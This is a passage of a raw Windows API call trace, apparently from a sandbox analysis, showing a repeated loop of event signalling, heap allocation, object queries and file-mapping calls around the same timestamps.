SetEvent (hEvent=0x114) returned 1 [0259.609] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.609] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.609] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.609] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.609] ResetEvent (hEvent=0x110) returned 1 [0259.609] SetEvent (hEvent=0x114) returned 1 [0259.609] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.609] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.609] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.609] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.609] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.609] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.609] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.609] ResetEvent (hEvent=0x110) returned 1 [0259.609] SetEvent (hEvent=0x114) returned 1 [0259.609] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.609] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.610] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.610] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.610] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.610] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.610] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.610] ResetEvent (hEvent=0x110) returned 1 [0259.610] SetEvent (hEvent=0x114) returned 1 [0259.610] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.610] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.610] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.610] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.610] ResetEvent (hEvent=0x110) returned 1 [0259.610] SetEvent (hEvent=0x114) returned 1 [0259.610] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.610] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.610] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.610] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.610] ResetEvent (hEvent=0x110) returned 1 [0259.610] SetEvent (hEvent=0x114) returned 1 [0259.611] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.611] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.611] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.611] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.611] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.611] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.611] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.611] ResetEvent (hEvent=0x110) returned 1 [0259.611] SetEvent (hEvent=0x114) returned 1 [0259.611] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.611] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.611] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.611] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.611] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.611] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.611] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.611] ResetEvent (hEvent=0x110) returned 1 [0259.611] SetEvent (hEvent=0x114) returned 1 [0259.611] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.611] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.612] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.612] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.612] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.612] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.612] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.612] ResetEvent (hEvent=0x110) returned 1 [0259.612] SetEvent (hEvent=0x114) returned 1 [0259.614] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.614] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.614] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.614] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.614] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.614] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.614] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.614] ResetEvent (hEvent=0x110) returned 1 [0259.614] SetEvent (hEvent=0x114) returned 1 [0259.614] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.614] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.614] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.614] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.614] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.614] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.614] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.614] ResetEvent (hEvent=0x110) returned 1 [0259.614] SetEvent (hEvent=0x114) returned 1 [0259.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.615] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.615] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.615] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.615] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.615] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.615] ResetEvent (hEvent=0x110) returned 1 [0259.615] SetEvent (hEvent=0x114) returned 1 [0259.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.615] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.615] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.615] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.615] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.615] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.615] ResetEvent (hEvent=0x110) returned 1 [0259.615] SetEvent (hEvent=0x114) returned 1 [0259.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.616] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.616] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.616] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.616] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.616] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.616] ResetEvent (hEvent=0x110) returned 1 [0259.616] SetEvent (hEvent=0x114) returned 1 [0259.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.616] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.616] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.616] ResetEvent (hEvent=0x110) returned 1 [0259.616] SetEvent (hEvent=0x114) returned 1 [0259.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.616] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.616] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.616] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.617] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.617] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.617] ResetEvent (hEvent=0x110) returned 1 [0259.617] SetEvent (hEvent=0x114) returned 1 [0259.617] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.617] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.617] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.617] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.617] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.617] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.617] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.617] ResetEvent (hEvent=0x110) returned 1 [0259.617] SetEvent (hEvent=0x114) returned 1 [0259.617] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.617] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.617] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.617] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.617] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.617] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.617] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.617] ResetEvent (hEvent=0x110) returned 1 [0259.618] SetEvent (hEvent=0x114) returned 1 [0259.618] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.618] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.618] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.618] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.618] ResetEvent (hEvent=0x110) returned 1 [0259.618] SetEvent (hEvent=0x114) returned 1 [0259.618] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.618] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.618] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.618] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.618] ResetEvent (hEvent=0x110) returned 1 [0259.618] SetEvent (hEvent=0x114) returned 1 [0259.618] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.618] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.618] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.618] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.618] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.619] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.619] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.619] ResetEvent (hEvent=0x110) returned 1 [0259.619] SetEvent (hEvent=0x114) returned 1 [0259.619] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.619] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.619] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.619] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.619] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.619] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.619] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.619] ResetEvent (hEvent=0x110) returned 1 [0259.619] SetEvent (hEvent=0x114) returned 1 [0259.619] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.619] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.619] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.619] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.619] ResetEvent (hEvent=0x110) returned 1 [0259.619] SetEvent (hEvent=0x114) returned 1 [0259.620] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.620] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.620] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.620] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.620] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.620] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.620] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.620] ResetEvent (hEvent=0x110) returned 1 [0259.620] SetEvent (hEvent=0x114) returned 1 [0259.620] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.620] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.620] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.620] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.620] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.620] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.620] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.620] ResetEvent (hEvent=0x110) returned 1 [0259.620] SetEvent (hEvent=0x114) returned 1 [0259.620] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.621] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.621] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.621] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.621] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.621] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.621] ResetEvent (hEvent=0x110) returned 1 [0259.621] SetEvent (hEvent=0x114) returned 1 [0259.621] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.621] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.621] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.621] ResetEvent (hEvent=0x110) returned 1 [0259.621] SetEvent (hEvent=0x114) returned 1 [0259.621] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.621] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.621] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.622] ResetEvent (hEvent=0x110) returned 1 [0259.622] SetEvent 